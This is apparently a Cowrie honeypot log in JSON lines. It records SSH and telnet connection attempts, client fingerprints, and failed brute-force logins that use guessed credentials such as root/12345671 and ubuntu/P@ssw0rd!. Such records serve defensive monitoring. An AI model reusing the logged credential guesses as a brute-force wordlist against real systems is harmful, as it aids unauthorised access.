{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49062,"dst_ip":"159.203.135.109","dst_port":22,"session":"4092a8b059f6","protocol":"ssh","message":"New connection: 159.203.92.129:49062 (159.203.135.109:22) [session: 4092a8b059f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:08:59.117433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:08:59.123206Z","src_ip":"159.203.92.129","session":"4092a8b059f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:08:59.128401Z","src_ip":"159.203.92.129","session":"4092a8b059f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"serverroot","message":"login attempt [administrator/serverroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:08:59.144988Z","src_ip":"159.203.92.129","session":"4092a8b059f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.163.183","src_port":54900,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb311a375c94","protocol":"ssh","message":"New connection: 152.32.163.183:54900 (10.17.0.5:22) [session: cb311a375c94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:08:59.186745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:08:59.197452Z","src_ip":"152.32.163.183","session":"cb311a375c94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:08:59.447354Z","src_ip":"152.32.163.183","session":"cb311a375c94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:09:00.152994Z","src_ip":"159.203.92.129","session":"4092a8b059f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asdf12345","message":"login attempt [ubuntu/asdf12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:09:00.476910Z","src_ip":"152.32.163.183","session":"cb311a375c94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:09:01.730925Z","src_ip":"152.32.163.183","session":"cb311a375c94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.232.73.84","src_port":48460,"dst_ip":"159.203.135.109","dst_port":22,"session":"4cbf92ad3b4b","protocol":"ssh","message":"New connection: 45.232.73.84:48460 (159.203.135.109:22) [session: 4cbf92ad3b4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:09:12.518216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:09:12.524123Z","src_ip":"45.232.73.84","session":"4cbf92ad3b4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:09:12.653416Z","src_ip":"45.232.73.84","session":"4cbf92ad3b4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"000","message":"login attempt [ubuntu/000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:09:13.148843Z","src_ip":"45.232.73.84","session":"4cbf92ad3b4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:09:14.285016Z","src_ip":"45.232.73.84","session":"4cbf92ad3b4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":54628,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee655bdc6d6a","protocol":"telnet","message":"New connection: 216.158.234.238:54628 (10.17.0.5:23) [session: ee655bdc6d6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:09:40.537476Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":55136,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa3acc9028dd","protocol":"telnet","message":"New connection: 216.158.234.238:55136 (10.17.0.5:23) [session: fa3acc9028dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:09:40.840939Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45908,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4ca943cab4e","protocol":"ssh","message":"New connection: 159.203.92.129:45908 (159.203.135.109:22) [session: f4ca943cab4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:09:41.863828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:09:41.868520Z","src_ip":"159.203.92.129","session":"f4ca943cab4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:09:41.874211Z","src_ip":"159.203.92.129","session":"f4ca943cab4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"serverroot123","message":"login attempt [administrator/serverroot123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:09:41.892451Z","src_ip":"159.203.92.129","session":"f4ca943cab4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:09:42.907853Z","src_ip":"159.203.92.129","session":"f4ca943cab4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.232.73.84","src_port":37220,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b7e91a88544","protocol":"ssh","message":"New connection: 45.232.73.84:37220 (159.203.135.109:22) [session: 9b7e91a88544]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:10:09.999216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:10:10.004915Z","src_ip":"45.232.73.84","session":"9b7e91a88544","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:10:10.139888Z","src_ip":"45.232.73.84","session":"9b7e91a88544","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345671","message":"login attempt [root/12345671] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:10:10.698383Z","src_ip":"45.232.73.84","session":"9b7e91a88544","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.927918910980225,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:10:11.465317Z","src_ip":"216.158.234.238","session":"ee655bdc6d6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:10:11.834170Z","src_ip":"45.232.73.84","session":"9b7e91a88544","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.07461428642273,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:10:13.915459Z","src_ip":"216.158.234.238","session":"fa3acc9028dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42314,"dst_ip":"159.203.135.109","dst_port":22,"session":"35a4b393b87a","protocol":"ssh","message":"New connection: 159.203.92.129:42314 (159.203.135.109:22) [session: 35a4b393b87a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:10:27.372031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:10:27.377057Z","src_ip":"159.203.92.129","session":"35a4b393b87a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:10:27.382845Z","src_ip":"159.203.92.129","session":"35a4b393b87a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminroot","password":"111111","message":"login attempt [adminroot/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:10:27.433081Z","src_ip":"159.203.92.129","session":"35a4b393b87a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:10:28.442687Z","src_ip":"159.203.92.129","session":"35a4b393b87a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.163.183","src_port":17454,"dst_ip":"10.17.0.5","dst_port":22,"session":"68e111e66313","protocol":"ssh","message":"New connection: 152.32.163.183:17454 (10.17.0.5:22) [session: 68e111e66313]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:10:41.770485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:10:41.775826Z","src_ip":"152.32.163.183","session":"68e111e66313","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:10:42.029735Z","src_ip":"152.32.163.183","session":"68e111e66313","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd!","message":"login attempt [ubuntu/P@ssw0rd!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:10:43.076360Z","src_ip":"152.32.163.183","session":"68e111e66313","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:10:44.333646Z","src_ip":"152.32.163.183","session":"68e111e66313","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.198.236","src_port":12757,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b1781fae733","protocol":"telnet","message":"New connection: 103.84.198.236:12757 (10.17.0.5:23) [session: 8b1781fae733]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:10:51.251824Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":53371,"dst_ip":"159.203.135.109","dst_port":22,"session":"db3f556b61c8","protocol":"ssh","message":"New connection: 2.57.121.112:53371 (159.203.135.109:22) [session: db3f556b61c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:10:57.060087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:10:57.065964Z","src_ip":"2.57.121.112","session":"db3f556b61c8","protocol":"ssh"}
